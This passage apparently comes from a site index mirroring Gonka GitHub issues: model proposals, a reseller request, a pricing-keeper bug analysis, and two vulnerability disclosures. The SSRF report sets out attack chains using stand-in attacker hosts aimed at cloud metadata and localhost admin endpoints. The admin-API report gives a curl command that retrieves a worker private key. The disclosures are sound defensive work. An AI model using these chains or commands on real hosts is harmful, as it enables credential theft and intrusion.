https://huggingface.co/deepseek-ai/DeepSeek-V4-Flash
as a possible replacement or successor for MiniMaxAI/MiniMax-M2.7 in the default / fallback model role.
Why DeepSeek-V4-Flash may be a better default candidate:
This would separate the model strategy into two layers:
consider deepseek-ai/DeepSeek-V4-Flash instead of MiniMaxAI/MiniMax-M2.7
A more accessible GLM-5.2 option:
canada-quant/GLM-5.2-W4A16-MTP and PhalaCloud/GLM-5.2-W4AFP8This may improve both sides of the network:
Please consider:
canada-quant/GLM-5.2-W4A16-MTP.PhalaCloud/GLM-5.2-W4AFP8.deepseek-ai/DeepSeek-V4-Flash as a better default / fallback model than MiniMaxAI/MiniMax-M2.7.Additional note on PhalaCloud/GLM-5.2-W4AFP8:
This option may be especially promising. In practical use, its quality may be very close to, or in some cases even better than, the official FP8 release, while also providing very high token generation speed.
However, the main uncertainty is vLLM compatibility. The model card currently documents SGLang usage, but it is not fully clear whether it can run reliably under vLLM in Gonka's MLNode environment.
Since SGLang and vLLM share many important production inference capabilities, this model still seems worth testing. If it can be made compatible with Gonka's serving stack, it may be one of the best GLM-5.2 candidates for increasing host adoption and real user demand.
@enonog commented 2026-07-16 04:29 UTC @bitcompool commented 2026-07-25 04:21 UTCI support evaluating DeepSeek-V4-Flash as a Gonka default or optional production model.
I am evaluating Gonka as an API provider for real AI products, including coding agents and prompt-processing applications. The current focus on MiniMax reduces the commercial attractiveness of the network because model quality and developer demand matter just as much as low hardware requirements.
DeepSeek would make Gonka substantially more attractive for:
Could the maintainers clarify the next concrete step for Issue #1408?
In particular:
If DeepSeek-V4-Flash becomes available with acceptable latency and stability, I would be interested in testing it through a Gonka gateway and providing real usage feedback.
🔄 Auto-synced from Issue #1408 every hour.
"}, {"location": "community/issues/01431-operator-name-khidi-openai-compatible-api-reseller-service/", "title": "#1431 — Operator name: Khidi — OpenAI-compatible API reseller service", "text": "Operator name: Khidi — OpenAI-compatible API reseller service #1431 Open @jack-maguli opened 2026-07-09 12:21 UTC 1 comment Updated 2026-07-10 20:42 UTCDiscord: jack.maguli Creator address to allow-list: gonka127szvy0fnscx03jjejmf6ednj6dezercldzzz4 Models we plan to serve: MiniMaxAI/MiniMax-M2.7, moonshotai/Kimi-K2.6, zai-org/GLM-5.2-FP8
Background: I was an early miner on Gonka (addresses gonka19djgy0erv0wddgynxafe787s25cj8c9evhzuuf, gonka1jprcfmj3x3uddc7tt9ha4zxk6kwy3y87cht4wf, gonka1cx4dkft2kzdzfjcuale2lw5cqaptdzgahwrj90). I'm now building a prepaid, USD and USDT billed API service targeting developers who have never heard of Gonka — bringing net-new inference demand to the network rather than redistributing existing users. Infrastructure is already deployed (Hetzner, LiteLLM billing layer, funded wallets); we're ready to run the official devshardctl gateway and open escrows as soon as the address is approved. Happy to provide any additional information. Initial go-to-market focus is Georgia and the wider Caucasus region — a developer market no existing Gonka broker serves, with local-language onboarding and regional payment habits (USDT-friendly) — expanding globally from there.
"}, {"location": "community/issues/01431-operator-name-khidi-openai-compatible-api-reseller-service/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-07-10 20:42 UTCHi @jack-maguli, thanks for the detailed write-up. Good news: for what you're describing (a prepaid USD/USDT reseller on top of Gonka), you probably don't need to be allow-listed at all.
devshard_escrow_params.allowed_creator_addresses happens only via governance vote — Gonka is a decentralized network, so there's no central team that grants it, and an issue like this registers interest but doesn't grant access or imply a timeline. 🔄 Auto-synced from Issue #1431 every hour.
"}, {"location": "community/issues/01439-external-visibility/", "title": "#1439 — External Visibility", "text": "External Visibility #1439 Closed @gordonfrost00-cloud opened 2026-07-10 06:29 UTC 2 comments Updated 2026-07-10 21:51 UTC enhancementGonka’s visibility as a solution for decentralized storage should be promoted more widely. To an outside observer looking at Coingecko, it seems rather uninteresting, since, for example, only 233 hodlers are currently shown on Etherscan. If possible, GonkaScan should also be displayed to enhance its external impact.
"}, {"location": "community/issues/01439-external-visibility/#comments-2", "title": "💬 Comments (2)", "text": "@tcharchian commented 2026-07-10 20:01 UTCThanks for the feedback. Just to clarify: the 233 holders shown on Etherscan only reflect the ERC-20 (bridged) token on Ethereum, not the native Gonka network. Actual network participation (validators, accounts, on-chain activity) is visible on Gonka explorers, such as
You're right that this is confusing for outside observers on CoinGecko. We'll look into getting Gonka dashboards added as an explorer link on CoinGecko (on CoinMarketCap, you can see some of Gonka explorers), so the native network data is visible alongside the Etherscan (ERC-20) view.
Btw, Gonka is a decentralized network for AI/compute, not decentralized storage — but the visibility point stands and I appreciate it.
@gordonfrost00-cloud commented 2026-07-10 21:51 UTCVielen Dank für die schnelle Rückmeldung ✊😎
Tania Charchian @.***> schrieb am Fr., 10. Juli 2026, 22:01:
tcharchian left a comment (gonka-ai/gonka#1439) https://github.com/gonka-ai/gonka/issues/1439#issuecomment-4939055570
Thanks for the feedback. Just to clarify: the 233 holders shown on Etherscan only reflect the ERC-20 (bridged) token on Ethereum, not the native Gonka network. Actual network participation (validators, accounts, on-chain activity) is visible on Gonka explorers, such as
You're right that this is confusing for outside observers on CoinGecko. We'll look into getting Gonka dashboards added as an explorer link on CoinGecko (on CoinMarketCap, you can see some of Gonka explorers), so the native network data is visible alongside the Etherscan (ERC-20) view.
Btw, Gonka is a decentralized network for AI/compute, not decentralized storage — but the visibility point stands and I appreciate it.
— Reply to this email directly, view it on GitHub https://github.com/gonka-ai/gonka/issues/1439?email_source=notifications&email_token=CAFTBLAVNUKTNB7FQWVSOPD5EFDSXA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTIOJTHEYDKNJVG4YKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KYZTPN52GK4S7MNWGSY3L#issuecomment-4939055570, or unsubscribe https://github.com/notifications/unsubscribe-auth/CAFTBLHMVYNROWFGCLFOQKT5EFDSXAVCNFSNUABFKJSXA33TNF2G64TZHM4DENZQGYYTAOJSHNEXG43VMU5TIOBVGI3DKMJQGE3KC5QC . Triage notifications, keep track of coding agent tasks and review pull requests on the go with GitHub Mobile for iOS https://github.com/notifications/mobile/ios/CAFTBLBCZWC7HJICQHPURTL5EFDSXA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTIOJTHEYDKNJVG4YKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KUZTPN52GK4S7NFXXG and Android https://github.com/notifications/mobile/android/CAFTBLHGFBJPDIXCLKK5GZD5EFDSXA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTIOJTHEYDKNJVG4YKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2K4ZTPN52GK4S7MFXGI4TPNFSA. Download it today! You are receiving this because you authored the thread.Message ID: @.***>
🔄 Auto-synced from Issue #1439 every hour.
"}, {"location": "community/issues/01450-dynamic-pricing-price-pinned-at-min-by-integer-truncation-ca/", "title": "#1450 — Dynamic pricing: price pinned at min by integer truncation; capacity proxy miscalibrated per model", "text": "Dynamic pricing: price pinned at min by integer truncation; capacity proxy miscalibrated per model #1450 Open @len5ky opened 2026-07-14 18:26 UTC 0 comments Updated 2026-07-24 18:11 UTCReporting two verified defects in the dynamic-pricing keeper. Everything below was checked against tag release/v0.2.13 (the mainnet chain version) and against live mainnet state via node3.gonka.ai on 2026-07-14. I run a high-volume reseller on top of Gonka inference, so how the per-token price responds to load matters directly — that's why I went through this code path carefully.
Two separate problems, one small and mechanical, one structural. The mechanical one is the more urgent: as of today, every model's price on mainnet is pinned at 1 ngonka, and the utilization-driven update cannot raise it at any utilization under current params — only a param, code, or state intervention can.
🔄 Auto-synced from Issue #1450 every hour.
"}, {"location": "community/issues/01450-dynamic-pricing-price-pinned-at-min-by-integer-truncation-ca/#1-integer-truncation-makes-the-price-floor-an-absorbing-state", "title": "1. Integer truncation makes the price floor an absorbing state", "text": ""}, {"location": "community/issues/01450-dynamic-pricing-price-pinned-at-min-by-integer-truncation-ca/#the-code", "title": "The code", "text": "CalculateModelDynamicPrice computes the new price as a decimal and truncates toward zero — in both branches:
inference-chain/x/inference/keeper/dynamic_pricing.go#L205-L216
} else {\n // Above stability zone - increase price (with cap)\n utilizationExcess := utilization.Sub(upperBound)\n adjustmentFactor := one.Add(utilizationExcess.Mul(elasticity))\n\n // Apply maximum increase cap (2% per block)\n if adjustmentFactor.GreaterThan(maxIncreasePerBlock) {\n adjustmentFactor = maxIncreasePerBlock\n }\n\n newPriceDec := decimal.NewFromUint64(currentPrice).Mul(adjustmentFactor)\n newPrice = uint64(newPriceDec.IntPart()) // <-- truncation\nThe maximum increase per block is ×1.02 (elasticity 0.05 × max excess 0.40). With integer prices, floor(p × 1.02) > p requires p ≥ 50. For any price of 49 ngonka or below, the increase branch is a no-op at any utilization:
p = 1: 1 × 1.02 = 1.02 → IntPart → 1\np = 49: 49 × 1.02 = 49.98 → IntPart → 49\np = 50: 50 × 1.02 = 51.0 → IntPart → 51 (first price that can move up)\nDecreases keep working all the way down to the floor clamp (truncation helps them: 2 × 0.98 = 1.96 → 1), and the MinPerTokenPrice clamp (#L223-L228) is applied after truncation, so with min_per_token_price = 1 it doesn't rescue anything. Net effect: any stored price below 50 ngonka is a one-way trap for the utilization mechanism. Prices can fall into the 1–49 range but can never climb out of it through utilization alone, regardless of demand. The only other writers of the price map are the grace-period initializer (below) and the missing-price fallback to base_per_token_price for a model with no stored price (#L151-L157); neither applies to an already-priced model after the grace boundary, so escaping the trap requires a param change, a code change, or a state migration.
UpdateDynamicPricing runs for every model in BeginBlock (module/module.go#L188-L194). While epoch ≤ grace_period_end_epoch it instead sets every model to the grace price, ending with a one-time base-price initialization at the boundary epoch (dynamic_pricing.go#L49-L53, #L233-L266). After that, with base_per_token_price = 100, stability_zone_lower_bound = 0.40 and demand below the stability zone, the price decays at up to −2%/block — and integer truncation makes it faster than the continuous math suggests: at the max rate, 100 falls below the p=50 trap line in 26 blocks (≈2 minutes) and sits at the floor of 1 within 74 blocks (≈6 minutes; below 50, floor(0.98p) loses a full 1 every block). Mainnet params say grace_period_end_epoch = 90 and the chain is past epoch 300, so this happened long ago.
Live confirmation (2026-07-14):
GET https://node3.gonka.ai/chain-api/productscience/inference/inference/all_model_per_token_prices\nreturns \"price\": \"1\" for all 8 models, including moonshotai/Kimi-K2.6, zai-org/GLM-5.2-FP8, MiniMaxAI/MiniMax-M2.7. Since RecordInferencePrice locks this price onto every inference at start/finish (dynamic_pricing.go#L268-L297, called from msg_server_start_inference.go#L97 and msg_server_finish_inference.go#L115), all mainnet inference is currently settling at 1/100th of the intended base price — and will continue to, even if demand saturates the network, until a code, param, or state change intervenes.
newPrice = max(newPrice, currentPrice+1) when adjustmentFactor > 1), or store prices at higher resolution (e.g. micro-ngonka internally).min_per_token_price to ≥ 50 — the clamp runs after truncation and reads the param every block, so that immediately restores upward mobility (50 → 51 → 52 …) without a chain upgrade. Alternatively, extending grace_period_end_epoch past the current epoch re-triggers the grace path and re-initializes all prices at the new boundary.Per model, per block:
utilization = averageLoadPerBlock / (capacity × 5s)\n0.40 ≤ u ≤ 0.60 → no change; below → down (≤2%/block); above → up (≤2%/block)\nThe numerator is fine. It's a rolling ~60s (12-block) average of real prompt_tokens + completion_tokens of completed inferences of that exact model (module/inference_validation_endblock.go#L58-L64, averaged in keeper/rolling_window_state.go#L116-L130). The chain records whatever completion_token_count the executor submits; in API-side measurements, Gonka's reported completion_tokens for Kimi K2.6 includes reasoning tokens, so the recorded load does appear to track real work.
The denominator is a proxy that the code itself flags as temporary. Capacity is the model sub-group's total PoC nonce weight, taken as tokens/second:
keeper/dynamic_pricing.go#L352-L365
// TODO: The proposal mentions copying from a `total_throughput` field, but this field\n// doesn't exist in the current EpochGroupData structure. For now, we use TotalWeight\n// as a proxy for capacity (tokens per second), as 1000 nonce of PoC produce aproximetely\n// 1000 tokens for of QwQ-32B model. ...\ncapacity := modelEpochData.TotalWeight\n(The TODO's first sentence is stale at this tag: EpochGroupData.TotalThroughput now exists — proto/inference/inference/epoch_group_data.proto#L38 — but it is always zero in practice, see below.) So the ratio assumes 1 PoC nonce ≈ 1 token/s, calibrated on QwQ-32B, applied uniformly to every model.
I checked whether any per-model normalization enters this weight upstream, and found none: a model sub-group's member weight is the sum of raw PocWeight of the MLNodes allocated to that model — the code comment says \"no coefficient\" explicitly (epochgroup/epoch_group.go#L263-L272) — and the per-model weight_scale_factor (0.90 for Kimi on mainnet) applies only to rewards and consensus voting weight, never to the pricing denominator. The devshard gateway's admission control converts the same raw weight into serving capacity at 5 concurrent requests per 10,000 weight per devshard instance (devshard/cmd/devshardctl/gateway_limiter.go, tag release/devshard/v2.0.0); since multiple uncoordinated shards each take a slice, the workable network total is roughly 32 concurrent per 10,000 weight (a rough figure from the Gonka team, not on-chain). At the ~20–26 tokens/s decode measured per Kimi stream, that is ~640–830 tokens/s per 10,000 weight, while the pricing keeper assumes 10,000 tokens/s for the same 10,000 weight. The two weight→capacity conversions in this codebase disagree by ~12–16×, and both are model-uniform.
The model registry already carries a per-model throughput_per_nonce (mainnet values via .../inference/models_all):
throughput_per_nonce MiniMaxAI/MiniMax-M2.7 5000 moonshotai/Kimi-K2.6 1500 zai-org/GLM-5.2-FP8 700 That's a 7× spread across the three currently served models. Whatever the intended units, the same nonce buys very different token throughput per model — so a single weight × 1 capacity constant means the 0.40/0.60 stability band sits at a different (and unknown) true hardware utilization for each model.
For Kimi K2.6 concretely (live values, epoch 326, 2026-07-14): the sub-group TotalWeight is 95,298, so the keeper assumes the Kimi fleet serves ~95k tokens/s. The price stops falling only above ~38k tok/s of sustained completed-token load (U = 0.4) and starts rising only above ~57k tok/s (U = 0.6). Two independent estimates of what the Kimi fleet can actually sustain both land far below that:
Either way, even the fleet's full decode ceiling sits below the 0.40 lower bound. Under organic, decode-bound demand, Kimi's measured utilization can never reach the stability zone: the mechanism can only lower Kimi's price, never hold or raise it. (Sub-group weight is also volatile — 38k–95k observed across recent epochs — so the thresholds themselves swing ~2.5× epoch to epoch.)
One caveat, and it cuts both ways: load counts prompt + completion tokens equally, and prefill is far cheaper than decode. A prompt-heavy workload can post completed-token rates well above decode throughput — at ~300 admittable concurrent streams, a fleet of max-length-prompt requests could plausibly cross even the 0.6 threshold. So the thresholds are unreachable for real demand yet reachable by deliberate prompt-stuffing, which means the price signal is also manipulable upward with relatively cheap traffic. Separately, rejected demand never becomes a completed inference (429s from the gateways under load are observable in benchmarking), so genuine congestion is invisible to this utilization signal, which counts only completed inferences.
EpochGroupData.TotalThroughput exists and is summed per model sub-group at epoch formation (epochgroup/epoch_group.go#L190-L196) — but the per-node MLNodeInfo.Throughput it sums is never assigned anywhere at this tag, so the field is zero for every sub-group (verified in live epoch data too), and the pricing path ignores it anyway in favor of TotalWeight.ThroughputPerNonce (module/model_assignment.go#L360-L362).Wiring capacity = Σ(member weight × ThroughputPerNonce) (in whatever the intended units are) through CacheAllModelCapacities would make the stability band mean the same thing for every model, using data that's already on chain.
IsCompleted() inferences count — in-flight and failed requests are invisible to utilization. Over a short 12-block window this makes the signal bursty.TotalWeight ≤ 0, capacity silently defaults to 1000 tokens/s (dynamic_pricing.go#L360-L365)..../model_per_token_price/{id}) returns 12 Not Implemented through the public chain-api gateways; only all_model_per_token_prices works. Minor, but it hid the floor-pinning from casual inspection.Two PRs accompany this issue, one per defect:
fix(x/inference): ceil price increases so sub-50 prices can rise — quantize the increase branch upward (newPriceDec.Ceil().IntPart()) so any above-stability-zone block raises the price by at least one quantum; sub-50 prices are no longer trapped. Decrease branch left floored. Consensus-breaking.fix(x/inference): derive pricing capacity from per-model throughput per tokenomics-v2 spec — populate MLNodeInfo.Throughput from the registry (PocWeight × ThroughputPerNonce / UnitsOfComputePerToken) so CacheAllModelCapacities prefers TotalThroughput over the TotalWeight proxy, with TotalWeight/default-1000 fallback preserved. Implements the two in-tree TODOs and tokenomics-v2/dynamic-pricing.md §2.2.3. Consensus-breaking.ThroughputPerNonce are raised in PR 2 of 2's \"Units assumption\" section.)While reviewing this PR: https://github.com/gonka-ai/gonka/pull/1460 I have found couple of problems/tasks, and listed them at PR comment https://github.com/gonka-ai/gonka/pull/1460#issuecomment-5001774184
Problem: User SSE (signReceipt) and timeout challenge (challengeReceiptLocked) both do verify → sign receipt → dedup → maybe execute, but as duplicated logic that already diverges (ConfirmStart, cache replay, soft-fail semantics). Challenge also blocks the receipt RPC on full ML, unlike SSE.
Task: Extract one shared “accept as executor” helper; thin SSE vs challenge wrappers; challenge returns receipt without waiting on ML.
Problem: Today, if the host→client (or gateway→host) stream dies in a way that cancels host→ML, generation can abort. Then the executor may never publish a clean MsgFinishInference, so the work isn’t accountable/validatable even though the host had accepted it. A drop by devshardctl/user must not be a reason the executor fails to produce execution proof.
Task: Decouple ML execution lifetime from the outbound user/gateway stream. After receipt/accept, run inference to completion (or controlled failure) under a host-owned context; always try to land MsgFinishInference (+ cache body) even if the client has gone. Treat stream write failure as delivery loss, not work cancellation.
Problem: Host can re-serve receipt / CachedResponseBody on the same StartInference, but devshardctl never resends the same nonce—it opens new attempts. After an accidental drop, the user side can’t reattach to in-flight or finished work on that nonce.
Task: On disconnect/retry, allow devshardctl to resend the same nonce with the same payload/params (reject mismatch via prompt/params hash). Host validates equality, skips re-execute if already running/done, and returns receipt + live/cached stream (CachedResponseBody when complete).
Problem: In-flight inference state (payload, execution progress, cached response) lives in process memory. If a connection drops mid-serve, or devshardd reboots/fails over, another instance can’t resume: no durable payload, no way to reattach to an ML job still running, no disk CachedResponseBody. Work is lost or must be blindly restarted without shared proof.
Task: Persist, until the inference is finished/settled: payload + parameters (for same-hash reconnect), execution/receipt metadata, and CachedResponseBody (on disk). On another devshardd: if ML still running, reconnect to that job; else recreate from stored payload; serve reconnecting clients the live stream or cached body. Goal: drop/reboot/failover doesn’t erase the path to a validatable MsgFinishInference.
"}, {"location": "community/issues/01466-better-devshardd-inference-handling/#comments-1", "title": "💬 Comments (1)", "text": "@a-kuprin commented 2026-07-23 14:06 UTCWhen working with this ussue PR https://github.com/gonka-ai/gonka/pull/1496 should be taken into account, that implements HA redesign
🔄 Auto-synced from Issue #1466 every hour.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/", "title": "#1470 — Security: Residual SSRF on InferenceUrl — DNS/rebind + validator redirect (incomplete fix after #505/#534)", "text": "Security: Residual SSRF on InferenceUrl — DNS/rebind + validator redirect (incomplete fix after #505/#534) #1470 Open @Aphelios01-sdk opened 2026-07-18 03:05 UTC 2 comments Updated 2026-07-20 02:30 UTC"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#summary", "title": "Summary", "text": "Residual SSRF after prior paid mitigations (v0.2.7 / v0.2.8):
Prior fix What it covered What remains broken PR #534 TA client no redirects (NewNoRedirectClient) Direct dial to DNS→private IP still allowed PR #505 ValidateURLWithSSRFProtection rejects literal private IPs No DNS resolve; hostnames always pass Any participant-controlled InferenceUrl hostname (or public URL that redirects) can force validator DAPIs (and other sinks) to connect to loopback, link-local metadata (169.254.169.254), or RFC1918 during mandatory payload retrieval / PoC validation / TA executor forwarding.
This is incomplete remediation, not a greenfield finding.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#severity-self-assessment", "title": "Severity (self-assessment)", "text": "High — protocol-mandated HTTP from validator hosts to attacker-controlled URL; host infrastructure compromise (IMDS, localhost admin, internal network). Not direct on-chain fund drain.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#architecture-threat-model", "title": "Architecture / threat model", "text": "Attacker sets InferenceUrl (hostname / rebind / open redirect)\n │\n ▼\n Chain: Participant.InferenceUrl\n │\n ┌────┴─────────────────┬──────────────────┐\n ▼ ▼ ▼\nValidator payload TA → executor PoC off-chain\nretrieval (primary) POST proof HTTP\nDEFAULT http.Client NoRedirectClient multi-worker\nFOLLOWS REDIRECTS still dials DNS IP\nAttacker preconditions
InferenceUrl via MsgSubmitNewParticipant / unfunded variant while OpenRegistrationPermission allows, orVictim: any honest host running DAPI that validates / TAs / PoC-validates against that participant.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#root-cause-registration-gate", "title": "Root cause (registration gate)", "text": "inference-chain/x/inference/utils/signature_and_url_validation.go:
func ValidateURLWithSSRFProtection(fieldName, raw string) error {\n // scheme http/https + host non-empty\n if isLocalhost(host) { return err }\n ip := net.ParseIP(host)\n if ip != nil {\n if isPrivateIP(ip) { return err }\n }\n return nil // hostname path: NEVER resolves DNS\n}\nCalled from:
types/message_submit_new_participant.go ValidateBasictypes/message_submit_new_unfunded_participant.go ValidateBasicUnit tests only cover: public URL, localhost, 192.168.0.1 — no hostname/DNS cases (signature_and_url_validation_test.go).
http://127.0.0.1/ REJECT literal http://169.254.169.254/ REJECT literal http://localtest.me/ ACCEPT DNS → 127.0.0.1 http://ssrf.attacker.tld/ ACCEPT attacker DNS http://0x7f000001/ / decimal IP strings ACCEPT* ParseIP fails → hostname http://[::ffff:127.0.0.1]/ REJECT mapped IPv6 parsed *Depends on OS resolver if those “hostnames” resolve.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#url-write-path", "title": "URL write path", "text": "keeper/msg_server_submit_new_participant.go:
Urlexisting.InferenceUrl = msg.Url (same permission gate)DAPI registers PublicUrl via participant_registration.go.
If registration later closes, create/update txs fail — rebinding still works for hostnames already stored.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#http-sinks-all-participant-inferenceurl", "title": "HTTP sinks (all participantInferenceUrl)", "text": ""}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#1-validator-payload-retrieval-primary", "title": "1) Validator payload retrieval — primary", "text": "validateInferenceAndSendValMessage\n → retrievePayloadsWithRetry // up to 10 attempts, long backoff\n → RetrievePayloadsFromExecutor\n → Participant.InferenceUrl from chain\n → BuildPayloadRequestURL(..., \"v1/inference/payloads\", id)\n → FetchPayloadsHTTP(payloadRetrievalClient, ...)\n// decentralized-api/internal/validation/payload_retrieval.go\nvar payloadRetrievalClient = &http.Client{\n Timeout: 30 * time.Second,\n // no CheckRedirect → default Go client follows up to 10 redirects\n // no DialContext IP ACL\n}\nAlso sends validator identity headers (X-Validator-Address, signature, epoch) to whatever is dialed.
getExecutorForRequest → GetRandomExecutor → executor.InferenceUrl\nPOST via NewNoRedirectClient // redirects blocked (#534)\nDirect DNS → private IP still dials.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#3-poc-off-chain-validator", "title": "3) PoC off-chain validator", "text": "decentralized-api/poc/validator.go — loads InferenceUrl, parallel proof HTTP workers.
Reuses FetchPayloadsHTTP / BuildPayloadRequestURL.
proxy/sidecar resolves DNS and skips private IPs only when building nginx whitelist — does not stop DAPI egress SSRF.
ssrf.attacker.tld → 169.254.169.254 / internal IP / loopback MsgSubmitNewParticipant{ Url: \"http://ssrf.attacker.tld\" } ValidateBasic InferenceUrl = http://attacker.example/open (public, accepts registration) 302 Location: http://127.0.0.1:9200/admin/v1/config (or IMDS) payloadRetrievalClient will Using public DNS name localtest.me → 127.0.0.1:
http://127.0.0.1:PORT/... → REJECT (literal) http://localtest.me:PORT/... → ACCEPT (hostname) Runnable replica (research package): registration gate replica + e2e fetch against local victim service.
"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#impact", "title": "Impact", "text": "Impact Detail Confidentiality Cloud IMDS, internal HTTP, localhost admin/config on validators Integrity Pivot into host networks; secondary compromise of DAPI/node Availability Hang/slow validators on attacker-controlled responses; retry amplification (×10) Scale Every honest validator that retrieves payloads becomes an SSRF client"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#required-remediation", "title": "Required remediation", "text": "http.Client that resolves, rejects loopback/link-local/RFC1918/ULA, dials only public IPs payloadRetrievalClient, PoC proof client, TA client (defense-in-depth) Location host/IPs with the same policy // DialContext: LookupIP → reject isPrivateIP → dial public only\n// CheckRedirect: ErrUseLastResponse OR validate Location with same policy\ninference-chain/x/inference/utils/signature_and_url_validation.go Gate gap inference-chain/x/inference/utils/signature_and_url_validation_test.go Thin tests inference-chain/x/inference/types/message_submit_new_participant.go ValidateBasic inference-chain/x/inference/keeper/msg_server_submit_new_participant.go Create/update URL decentralized-api/internal/validation/payload_retrieval.go Client + sink decentralized-api/internal/validation/inference_validation.go Retry loop decentralized-api/internal/server/public/post_chat_handler.go TA NoRedirect + executor URL decentralized-api/poc/validator.go PoC sink inference-chain/app/upgrades/v0_2_8/upgrades.go Prior bounty / PR #505 #534 context"}, {"location": "community/issues/01470-security-residual-ssrf-on-inferenceurl-dnsrebind-validator-r/#disclosure", "title": "Disclosure", "text": "From inference-chain/app/upgrades/v0_2_8/upgrades.go bounty notes:
NewNoRedirectClient).ValidateURLWithSSRFProtection for InferenceUrl (literal private IPs + timeouts).This report is a residual / incomplete-fix issue, not a greenfield class:
Layer Status after #505/#534 Registration string check Literal private IPs only — no DNS resolve TA client redirects Fixed (CheckRedirect → ErrUseLastResponse) Validator payloadRetrievalClient Still default http.Client → follows redirects Dial-time IP ACL on any sink Missing Re-validate URL at fetch time Missing (DNS rebinding works without new txs) Full sink map (participant InferenceUrl → HTTP) Validator payload retrieval (primary) validateInferenceAndSendValMessage → retrievePayloadsWithRetry (up to 10 attempts) → RetrievePayloadsFromExecutor → BuildPayloadRequestURL(InferenceUrl, \"v1/inference/payloads\", id) → FetchPayloadsHTTP Client: payloadRetrievalClient = &http.Client{Timeout: 30s} — no CheckRedirect, no dial ACL.
Transfer Agent → executor getExecutorForRequest → executor.InferenceUrl → POST via NewNoRedirectClient Redirects blocked; direct DNS→private IP still dials.
PoC off-chain validator poc/validator.go loads Participant.InferenceUrl and hits it via proof HTTP client (parallel workers).
Devshard paths reuse FetchPayloadsHTTP / BuildPayloadRequestURL.
Proxy sidecar does resolve DNS and skips private IPs — but only for nginx whitelist generation, not for DAPI egress.
Attack chainsA. DNS hostname (registration-time) MsgSubmitNewParticipant{Url: \"http://ssrf.attacker.tld\"} with A/AAAA → 169.254.169.254 / RFC1918 / loopback. ValidateBasic accepts because net.ParseIP(hostname) == nil.
B. DNS rebinding (no chain update) Register hostname with public A record; later flip A to private during validation windows. No re-check at fetch.
C. Redirect residual (validator only) Public InferenceUrl returns 302 Location: http://127.0.0.1:9200/admin/v1/config (or IMDS). TA client will not follow; payloadRetrievalClient will follow → can turn #1470 into localhost admin/config impact on validators.
// signature_and_url_validation.go\nip := net.ParseIP(host)\nif ip != nil {\n if isPrivateIP(ip) { return err }\n}\nreturn nil // hostname path never resolves\nUnit tests only cover public URL, localhost, and 192.168.0.1 — no hostname/DNS cases.
Existing participants can update InferenceUrl via the same MsgSubmitNewParticipant (when OpenRegistrationPermission allows). Even if registration is later closed, rebinding still works for already-stored hostnames.
localtest.me → 127.0.0.1:
http://127.0.0.1:... → REJECT http://localtest.me:... → ACCEPT http.Client. Location host/IPs. Happy to provide a draft patch or HackerOne-formatted write-up if public issues are not the preferred channel.
@Ryanchen911 commented 2026-07-20 02:30 UTCI'd like to pick this up. The residual-SSRF analysis matches what I see in the code — the real fix has to be at dial-time (registration-time DNS resolution alone can't stop rebinding), via a shared SSRF-safe HTTP client applied to all participant-InferenceUrl sinks, plus disabling redirects on the payload retrieval client.
@tcharchian could you assign this to me?
🔄 Auto-synced from Issue #1470 every hour.
"}, {"location": "community/issues/01471-security-admin-dapi-unauthenticated-get-adminv1config-leaks-/", "title": "#1471 — Security: Admin DAPI unauthenticated — GET /admin/v1/config leaks worker_private key", "text": "Security: Admin DAPI unauthenticated — GET /admin/v1/config leaks worker_private key #1471 Closed @Aphelios01-sdk opened 2026-07-18 03:05 UTC 1 comment Updated 2026-07-18 03:07 UTC"}, {"location": "community/issues/01471-security-admin-dapi-unauthenticated-get-adminv1config-leaks-/#summary", "title": "Summary", "text": "The decentralized-api admin server (/admin/v1/*) registers routes with only logging middleware — no authentication. GET /admin/v1/config returns the unsanitized live config as JSON, including ml_node_key_config.worker_private.
Other unauthenticated endpoints include POST /admin/v1/tx/send, claim recovery, bridge block inject, node enable/disable.
decentralized-api/internal/server/admin/server.go Routes + getConfig decentralized-api/apiconfig/config.go WorkerPrivateKey json:\"worker_private\" decentralized-api/main.go Listens :%port (all interfaces) deploy/join/docker-compose.yml Maps 127.0.0.1:9200:9200 (mitigation only at compose layer)"}, {"location": "community/issues/01471-security-admin-dapi-unauthenticated-get-adminv1config-leaks-/#source", "title": "Source", "text": "// getConfig returns the current configuration as JSON (unsanitized)\nfunc (s *Server) getConfig(c echo.Context) error {\n cfg := s.configManager.GetConfig()\n return c.JSONPretty(200, cfg, \" \")\n}\ntype MLNodeKeyConfig struct {\n WorkerPublicKey string `json:\"worker_public\"`\n WorkerPrivateKey string `json:\"worker_private\"` // leaked via JSON\n}\nNote: KeyringPassword correctly uses json:\"-\"; worker private key does not.
curl -sS \"http://HOST:9200/admin/v1/config\" | jq '.ml_node_key_config'\n# No Authorization header required\nIf admin port is exposed (misconfigured publish / proxy / SG):
tx/send to broadcast host-signed txsDefault compose binds loopback only, but the app does not fail-closed to localhost.
"}, {"location": "community/issues/01471-security-admin-dapi-unauthenticated-get-adminv1config-leaks-/#suggested-remediation", "title": "Suggested remediation", "text": "/admin/v1/* (mTLS, bearer, or Unix socket only)127.0.0.1 in application codetx/sendNo production hosts attacked. Happy to move this to HackerOne if preferred over public issues.
